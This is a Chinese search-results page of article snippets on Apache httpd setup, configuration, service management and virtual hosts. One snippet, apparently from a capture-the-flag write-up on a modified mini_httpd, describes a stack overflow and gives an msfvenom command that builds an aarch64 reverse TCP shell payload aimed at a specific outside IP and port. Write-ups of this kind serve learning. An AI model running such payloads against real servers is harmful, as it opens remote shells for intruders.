首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏一滴水的眼泪

    HTTPD

    [HTTPD] Linux(Apache)Httpd服务器安装,启动及httpd.conf配置详解 Apache HTTP Server HTTPD特性及功能 Apache支持许多特性,大部分通过编译的模块实现 start 启动httpd服务 httpd相关配置文件: 主配置文件:/etc/httpd/conf/httd.conf ,这个是httpd最主要的配置文档 扩展配置文件:/etc/httpd/conf.d [root@VM ~]# rpm -ql httpd # 查看httpd安装列表 /etc/httpd /etc/httpd/conf /etc/httpd/conf.d /etc/httpd/conf /httpd.conf /etc/httpd/run /etc/rc.d/init.d/httpd /etc/sysconfig/httpd /usr/sbin/apachectl /usr/sbin/ ` #停止httpd进程 [root@VM ~]# apachectl -f /etc/httpd/httpd.conf #启动httpd进程,并指定httpd启动配置文件 Apache配置文件介绍

    2.4K20发布于 2020-09-21
  • 来自专栏若尘的技术专栏

    httpd搭建

    httpd的搭建 by Tansty bilibili视频教学: 一、服务器 1、概念 服务器作为硬件来说,通常是指那些具有较高计算能力,能够提供给多个用户使用的计算机。 oldheaders) :清除缓存目录下的软件包及旧的headers 2、systemctl systemctl是一个centos中的系统管理命令,用来开启/停止某个服务 例如: systemctl start httpd.service 开启 systemctl restart httpd.service 重启 systemctl stop httpd.service 停止 3.cd 进入不同文件夹的命令 四、vim编辑器的基本命令 五、httpd搭建的命令使用 1、下载httpd yum install httpd 2、开启服务 systemctl start httpd.service 3、主页路径 cd var/www/html 4、访问网站 127.0.0.1 yum install httpd 2、开启服务 systemctl start httpd.service 3、主页路径 cd var/www/html 4、访问网站

    97884发布于 2021-11-20
  • 来自专栏技术小黑屋

    Manage Httpd Service

    To Start 1 sudo /sbin/service httpd start To Stop 1 sudo /sbin/service httpd stop To Restart 1 sudo /sbin/service httpd restart

    62210发布于 2018-09-04
  • 来自专栏Young Dreamer

    httpd配置ResponseHeader

      今天遇到一个问题:我把项目编译后的静态文件发布到开发机上,开发机使用httpd启的静态文件服务,页面的访问是在特制的壳浏览器里面,我更新了代码后,发现页面被缓存了,找到壳的RD联调了一下,发现我的主页 (1)在httpd.conf文件确保mod_headers模块被加载 LoadModule headers_module MODULES_PATH/mod_headers.so (2)使用Header 指令,进行set操作 <IfModule headers_module>   Header set Cache-Control no-cache </IfModule>   经过以上三个步骤,重启了httpd

    83570发布于 2018-01-31
  • 来自专栏芝麻实验室

    HTTPD 基础篇

    安装Httpd Httpd已被收录base仓库,直接通过YUM安装即可 # yum -y install httpd 通过tree命令查看Httpd主体配置结构 # tree /etc/httpd/ /etc/httpd/ #httpd配置目录 ├── conf #主配置目录 │ ├── httpd.conf #主配置文件 │ └── magic 获取我们需要的内容并做备份 # cp conf/httpd.conf{,.bak} [root@Center httpd]# less conf/httpd.conf # sed -i '/^[[:space :]]*#/d' conf/httpd.conf 配置文件 [root@Center httpd]# less conf/httpd.conf ServerRoot "/etc/httpd" #服务器根目录 -2.4.6/httpd-vhosts.conf /etc/httpd/conf.d/ 配置基于IP的虚拟主机。

    96520发布于 2019-03-05
  • 来自专栏赤道企鹅的博客

    Master of HTTPD && exsc 题解

    Master of HTTPD 分析 调试 EXP exsc 理论 解题 调试技巧 两个题都是aarch64 Master of HTTPD 分析 IoT题,aarch64,题目修改了mini_httpd mini_httpd的源码可以在官网下载。 新加的函数在0x4046D0,base64完后的拷贝有栈溢出,刚好也比较好控制X30寄存器中的返回地址。 aarch64/shell/reverse_tcp lhost=139.224.195.57 lport=10005 -f base64 shellcode可以写在bss段上用来储存http请求的缓冲区 调试 HTTPD

    1.1K30编辑于 2022-08-01
  • 来自专栏热爱IT

    httpd 禁用目录浏览 转

    (adsbygoogle = window.adsbygoogle || []).push({});

    71810发布于 2019-04-10
  • 来自专栏乐沙弥的世界

    Linux下安装Apache httpd

    users:(("httpd",6413,4),("httpd",6416,4),("httpd",6417,4),("httpd",6418,4), ("httpd",6419,4),("httpd /sysconfig/httpd|grep -v ^# HTTPD=/usr/sbin/httpd.worker # service httpd restart Stopping /httpd|grep -v ^# HTTPD=/usr/sbin/httpd.event [root@orasrv1 ~]# service httpd restart Stopping 模块的动态装载与卸载 # cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.bak # cat /etc/httpd/ # vi /etc/httpd/conf/httpd.conf ###注释mod_authn_alias.so模块 # cat /etc/httpd/conf/httpd.conf

    3.2K30发布于 2018-08-13
  • 来自专栏执笔绘倾城

    httpd启动管理脚本

    /bin/bash# chkconfig: 2345 10 90# description: httpd servicehttpd="/usr/local/apache2/bin/apachectl"function httpd_start(){/usr/local/apache2/bin/apachectl start}function httpd_stop(){/usr/local/apache2/bin/apachectl stop}case $1 instart)httpd_start;;stop)httpd_stop;;restart)httpd_stopsleep 2httpd_start;;test)$httpd -t #检测httpd配置文件语法问题;;*)echo “用法: $0 start|stop|restart|test”;;esac

    82220编辑于 2022-09-16
  • 来自专栏北京马哥教育

    Nginx与httpd对比

    我们不得不提到的就是操作系统环境,毕竟不同系统对他们的影响还是不小的 apache 这个老牌了,在几乎任何系统下都有对应的支持,无论时Windows还是Linux还是其他系统,都有支持 它的官网:http://httpd.apache.org 可见官网下载可以直接获得Win以及NetWare的二进制安装包,而Linux需要自行编译使用(当然使用源最好) nginx也一样,官网http://www.nginx.org/,又卡又慢,给人一种很不好的印象(httpd (这里其实我漏掉了很多问题,比如tomcat这种软件,我不清楚它与apache httpd两者之间有什么PY,啊不,有什么功能关系。。。)

    4.1K60发布于 2018-05-03
  • 来自专栏一朵灼灼华的博客

    linux httpd.conf详解

    配置httpd,将服务器名称替换为您自己的环境 [root@linuxprobe ~]# vi /etc/httpd/conf/httpd.conf # line 86: 改变管理员的邮箱地址 ServerAdmin response header(安全性) ServerTokens Prod # keepalive is ON KeepAlive On [root@linuxprobe ~]# systemctl start httpd [root@linuxprobe ~]# systemctl enable httpd [3] 如果Firewalld正在运行,请允许HTTP服务。

    87310编辑于 2022-08-05
  • 来自专栏北京马哥教育

    httpd服务归纳:浅谈IO模型

    1. 四种理论的I/O模型 1) 调用者(服务进程): 阻塞: 进程发起I/O调用,如果调用为完成,进程被挂起休眠,不能再执行其他功能 非阻塞:进程发起I/O调用,被调用的函数完成之前,依然可以执行其他功能 2) 被调用函数或过程(系统调用I/O读写操作) 同步: 函数或功能被进程调用时,不立即返回值,直到此调用完成 异步: 函数或功能被进程调用时,不能立即完成则返回未完成状态,完成后通知调用进程 3)四中理论模型

    75880发布于 2018-05-03
  • 来自专栏centosDai

    httpd.conf进程模块

    StartServers 5 (启动进程) # 设置httpd启动时启动的子进程数量。这个参数应设置为前两个值之间的一个数值。小于或大于前两个数值都没有意义。

    43120发布于 2021-05-17
  • 来自专栏乐沙弥的世界

    Apache httpd 2.4 访问控制

    : Nov 19 2015 21:43:13 配置允许所有客户端访问 注释原有的DocumentRoot,并添加下列内容到httpd.conf [root@centos7-router ~]# tail -8 /etc/httpd/conf/httpd.conf DocumentRoot "/u01/web" <Directory "/u01/web"> Options Indexes FollowSymLinks >>/u01/web/index.html [root@centos7-router ~]# systemctl reload httpd [root@centos7-router ~]# curl http 配置拒绝所有客户端访问 Require all granted 成 Require all denied并reload httpd # curl http://localhost:90 <! 五、更多参考 https://httpd.apache.org/docs/2.4/mod/mod_authz_core.html#require http://httpd.apache.org/docs

    2K20发布于 2018-08-06
  • 来自专栏北京马哥教育

    httpd服务归纳:浅谈IO模型

    nginx 利用 rewrite 屏蔽IE浏览器 1. 四种理论的I/O模型 1) 调用者(服务进程): 阻塞: 进程发起I/O调用,如果调用为完成,进程被挂起休眠,不能再执行其他功能 非阻塞:进程发起I/O调用,被调用的函数完成之前,依然可以执行其他功能 2) 被调用函数或过程(系统调用I/O读写操作) 同步: 函数或功能被进程调用时,不立即返回值,直到此调用完成 异步: 函数或功能被进程调用时,不能立即完成则返回未完成

    903120发布于 2018-05-03
  • 来自专栏Linux云运维

    Linux—搭建Apache(httpd)服务

    http常用用的两个版本是httpd-2.2和httpd-2.4 CentOS6系列的默认httpd版本是httpd-2.2版本的rpm包 CentOS7系列的默认httpd版本是httpd-2.4版本的 /usr/lib64/httpd/modules/ 模块文件路径 /etc/httpd/conf/httpd.conf 主配置文件 /etc/httpd/conf.modules.d/*.conf 模块配置文件 httpd自带的服务控制脚本,支持start,stop,restart apxs 由httpd-devel包提供的,扩展httpd使用第三方模块的工具 rotatelogs 日志滚动工具 suexec ~]# dnf install -y httpd //用dnf安装httpd服务 [root@localhost ~]# systemctl status httpd //服务默认是未开启的 ● //重启httpd服务 相同IP相同端口不同域名 [root@localhost ~]# vim /etc/httpd/conf.d/httpd-vhosts.conf ......

    7.1K32编辑于 2022-08-20
  • 来自专栏乐沙弥的世界

    Linux下配置Apache httpd

    本文主要描述了Linux下httpd(2.2版本)的相关基本配置。 1、配置文件概述 配置文件,主要分为3个部分: # grep "Section" /etc/httpd/conf/httpd.conf ### Section 1: Global -t: 检查配置文件语法 service httpd configtest 当前配置使用的版本 # /usr/sbin/httpd -v /conf.d/welcome.conf:重命名(不以.conf结尾)或删除 3、定义ServerRoot ServerRoot "/etc/httpd" 定义httpd顶级目录 /conf/httpd.conf:1022) port 80 namevhost websrv.ycdata.net (/etc/httpd/conf/httpd.conf

    3K31发布于 2018-08-13
  • 来自专栏热爱IT

    httpd – 对Apache的DFOREGROUND感到困惑

    当您运行systemctl start httpd(或旧样式方式,服务httpd start)时,systemd将启动该服务.它是附加Apache的系统,systemd将进程作为其子级之一进行管理.这样做是为了让 运行systemctl status httpd以查看其状态.一个例子如下: # systemctl status httpd httpd.service - The Apache HTTP Server /usr/sbin/httpd -DFOREGROUND ├─15379 /usr/sbin/httpd -DFOREGROUND ├─15858 /usr /sbin/httpd -DFOREGROUND ├─16809 /usr/sbin/httpd -DFOREGROUND ├─16944 /usr/sbin /httpd -DFOREGROUND ├─17079 /usr/sbin/httpd -DFOREGROUND ├─17351 /usr/sbin/httpd

    4.9K20发布于 2019-05-31
  • 来自专栏耕耘实录

    Apache httpd 几个报错的解决记录

    文章目录 Apache httpd 几个报错的解决记录 一 背景 二 解决步骤 2.1 查资料 2.2 手动变更配置,寻找突破口 Apache httpd 几个报错的解决记录 一 背景 今天在测试环境的 centos7.4 上使用 Docker 部署 httpd 服务时,遇到了以下3个报错: AH00558: httpd: Could not reliably determine the server 第一个和第三个是在 Apache httpd 的标准输出日志里的报错,第二个是在客户端访问时报错。

    1.3K10编辑于 2021-12-07
  • 来自专栏yuezhimi

    centos7-httpd虚拟主机

    /httpd-2.4.10.tar.bz2 [root@localhost src]# tar xf httpd-2.4.10.tar.bz2 [root@localhost src]# cd httpd :$PATH' > /etc/profile.d/httpd.sh [root@localhost ~]# source /etc/profile.d/httpd.sh ? 基于一个端口不同域名配置: 1)创建虚拟主机配置文件httpd-vhosts.conf,该文件默认已存在,只需去掉httpd.conf主配置文件中#号即可 [root@localhost ~]# vim /usr/local/apache/conf/httpd.conf ?   httpd.key [root@localhost ssl]# openssl ca -in httpd.csr -out httpd.crt Using configuration from /etc

    65850发布于 2020-09-30
领券